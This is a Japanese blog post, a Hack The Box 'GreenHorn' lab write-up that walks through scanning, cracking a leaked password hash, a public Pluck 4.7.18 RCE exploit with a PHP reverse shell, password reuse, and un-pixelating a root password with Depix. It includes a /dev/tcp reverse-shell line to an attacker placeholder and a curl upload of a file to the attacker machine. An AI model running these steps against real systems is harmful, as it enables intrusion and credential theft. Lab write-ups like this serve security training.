2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】GreenHorn【WriteUp】

Last updated at Posted at 2024-12-07

これはかろ噴水・ゆるゆる Advent Calendar 2024の8日目の記事です。

初めに

本記事は Hack The Box(以下リンク参照) の「GreenHorn」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.175.97 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.175.97:22
Open 10.129.175.97:80
Open 10.129.175.97:3000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 06:27 EDT
Initiating Ping Scan at 06:27
Scanning 10.129.175.97 [4 ports]
Completed Ping Scan at 06:27, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:27
Completed Parallel DNS resolution of 1 host. at 06:27, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:27
Scanning 10.129.175.97 [3 ports]
Discovered open port 80/tcp on 10.129.175.97
Discovered open port 22/tcp on 10.129.175.97
Discovered open port 3000/tcp on 10.129.175.97
Completed SYN Stealth Scan at 06:27, 0.29s elapsed (3 total ports)
Nmap scan report for 10.129.175.97
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2024-07-23 06:27:29 EDT for 1s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
           Raw packets sent: 7 (284B) | Rcvd: 22 (880B)

22,80,3000番Portが公開されている。
とりあえず80と3000Portを探っていく方針ですね。

サイト探索

80番にアクセスするとgreenhorn.htbが見えないといわれるので/etc/hostsに以下の設定を投入する。

10.129.175.97    greenhorn.htb

設定後にアクセスすると以下のサイトがみえる。
1.png
3000番もアクセスしてみる。
2.png
ほう。コードが見える系ね。

サブドメイン探索

┌──(root㉿kali)-[~/work]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://greenhorn.htb/ -H "HOST: FUZZ.greenhorn.htb"  -mc all -fs 154 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://greenhorn.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.greenhorn.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 548 req/sec :: Duration: [0:03:12] :: Errors: 0 ::

特段何もない。

ブラウジング

とりあえず3000番のコードを見ていく。
3.png
80番で公開されているWebのpluckのコードのようだ。
色々コードを探っていると、data/settings/pass.phpのファイルに怪しいブツを発見する。
4.png
この文字列が何かを確認する。

┌──(root㉿kali)-[/home/kali/Downloads]
└─# hashid d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163
Analyzing 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163'
[+] SHA-512 
[+] Whirlpool 
[+] Salsa10 
[+] Salsa20 
[+] SHA3-512 
[+] Skein-512 
[+] Skein-1024(512) 

SHA-512ぽい。簡易に復号できるものかどうか以下サイトで試してみる。

5.png
出来た。これがログインページのパスワードかな???
ログインしてみる。
6.png
ログインできたみたいだ。

イニシャルアクセス

Pluck v4.7.18 - Remote Code Execution

とりあえずPluckのバージョンが見えているのでこのバージョンの脆弱性を調査していると、以下がヒットする。
ログイン出来たし、完全にこれでしょう。

このコードをとりあえず、作業ディレクトリ階層に持ってくる。

┌──(root㉿kali)-[~/work]
└─# searchsploit -m 51592                       
  Exploit: Pluck v4.7.18 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/51592
     Path: /usr/share/exploitdb/exploits/php/webapps/51592.py
    Codes: N/A
 Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /root/work/51592.py

このPOC51592.pyを利用するために色々と修正しないといけないので修正していく。

RevShell

requests_toolbeltのパッケージが必要なのでダウンロードしておく。

┌──(root㉿kali)-[~/work]
└─# pip install requests_toolbelt

今回の環境に合わせて、POCコードを修正する。
7.png
URLとPasswordはもちろん変更する。
このコードを実行する際にはZIP圧縮した悪意のあるPHPファイルをアップロードする流れになるので、デフォルトでkaliにいる/usr/share/webshell/php/php-reverse-shell.phpを利用する。これをZIP圧縮してアップロードする。

php-reverse-shell.phpも少し編集する。
8.png
これをpayload.zipに圧縮して以下のようにPOCを実行する。
9.png
File not found.表記だが、ここら辺は編集してなかった。まぁ直接アクセスすればいいのでアクセスする。
10.png
11.png
シェルが取れました。

interactive shell

タブキーや矢印を効かせたいので以下コマンドでShellを安定させます。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@greenhorn:/$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                             
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg 
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm
www-data@greenhorn:/$ export SHELL=/bin/bash
www-data@greenhorn:/$ reset

これで安定しました。だがこれではまだUserフラグを取ることが出来てません。

横展開

linpeas

何も手動列挙しても出てこなかったのでとりあえず、linpeas回します。

www-data@greenhorn:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by github.com/PEASS-ng

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's 'permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 5.15.0-113-generic (buildd@lcy02-amd64-072) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: greenhorn
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)



Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . uniq: write error: Broken pipe
DONE

                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
                              ╚════════════════════╝
…省略

╔══════════╣ Systemd PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/gitea.service is calling this writable executable: /usr/local/bin/gitea
/etc/systemd/system/multi-user.target.wants/gitea.service is calling this writable executable: /usr/local/bin/gitea
/etc/systemd/system/multi-user.target.wants/grub-common.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/mariadb.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/systemd-networkd.service could be executing some relative path
/etc/systemd/system/sleep.target.wants/grub-common.service could be executing some relative path
You can't write on systemd PATH


...省略

gitea.service/etc/systemd/system/multi-user.target.wants/gitea.service経由で書き込み可能とか言ってます。なるほど!(不可能だよ、英語弱過ぎか?)

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/4444 0>&1'

とかで再起動かけるパターンかな?といっても再起動でここら辺実施してもCMD通らなかったのでラビットホールでした。(自分で掘って入ったパターン)

su

最初のログインで使ったパスワード情報でログイン試してみます。
12.png
juniorさんでいくか。
13.png
いけたわ...
これでUserフラグゲットです。

権限昇格

ファイル転送

このjuniorさんのHome階層探っているとUsing OpenVAS.pdfみたいなファイルが見つかるのでこいつを解析する。
というわけで転送してKaliで解析します。uploadserver立てる

┌──(root㉿kali)-[~/work]
└─# python -m uploadserver 80

ターゲットマシンから転送する。一応md5sumでハッシュ値を確認する。

junior@greenhorn:~$ curl -X POST http://10.10.14.53/upload -F 'files=@Using OpenVAS.pdf'
junior@greenhorn:~$ 
junior@greenhorn:~$ 
junior@greenhorn:~$ md5sum Using\ OpenVAS.pdf 
b9e26bbc1ddf4bab87383241cde9c8ec  Using OpenVAS.pdf
junior@greenhorn:~$ 

以下で送られてきたときはログが出てくると思う。

File upload available at /upload
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.197.115 - - [23/Jul/2024 07:56:54] [Uploaded] "Using OpenVAS.pdf" --> /root/work/Using OpenVAS.pdf
10.129.197.115 - - [23/Jul/2024 07:56:54] "POST /upload HTTP/1.1" 204 -

んじゃこのファイルのハッシュ値を見て、問題なく転送できたか確認しておく。

┌──(root㉿kali)-[~/work]
└─# md5sum Using\ OpenVAS.pdf 
b9e26bbc1ddf4bab87383241cde9c8ec  Using OpenVAS.pdf

イケてそう。

Depix

このPDFの中身を確認します。
14.png
モザイク処理されてる。
これを復元する方法を探っていると以下の記事を発見する。

このツールを使ってみる。以下のGitからCloneして使えばいい。特段追加パッケージは要らなかった気がする。

┌──(root㉿kali)-[~/work/Depix]
└─# python3 depix.py  -p /home/kali/Downloads/pass_image.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /home/kali/Downloads/pass.d.png 
2024-07-23 08:19:49,211 - Loading pixelated image from /home/kali/Downloads/pass_image.png
2024-07-23 08:19:49,218 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-23 08:19:49,904 - Finding color rectangles from pixelated space
2024-07-23 08:19:49,905 - Found 252 same color rectangles
2024-07-23 08:19:49,905 - 190 rectangles left after moot filter
2024-07-23 08:19:49,906 - Found 1 different rectangle sizes
2024-07-23 08:19:49,906 - Finding matches in search image
2024-07-23 08:19:49,906 - Scanning 190 blocks with size (5, 5)
2024-07-23 08:19:49,934 - Scanning in searchImage: 0/1674
2024-07-23 08:20:36,643 - Removing blocks with no matches
2024-07-23 08:20:36,643 - Splitting single matches and multiple matches
2024-07-23 08:20:36,647 - [16 straight matches | 174 multiple matches]
2024-07-23 08:20:36,648 - Trying geometrical matches on single-match squares
2024-07-23 08:20:36,958 - [29 straight matches | 161 multiple matches]
2024-07-23 08:20:36,958 - Trying another pass on geometrical matches
2024-07-23 08:20:37,227 - [41 straight matches | 149 multiple matches]
2024-07-23 08:20:37,227 - Writing single match results to output
2024-07-23 08:20:37,228 - Writing average results for multiple matches to output
2024-07-23 08:20:39,843 - Saving output image to: /home/kali/Downloads/pass.d.png

出来た画像を確認する。
pass.d.png
まぁ見えんこともないので予測でrootで入ってみる。
15.png
いけたわ。これでRootフラグゲットです!

まとめ

image.png
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは意外とシェルを取ってからUserフラグへの横展開が盲点で難しいかなとか思ったりします。(勘が鈍ってるだけ)
それ以外はスラスラ行けるのではないでしょうか?

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?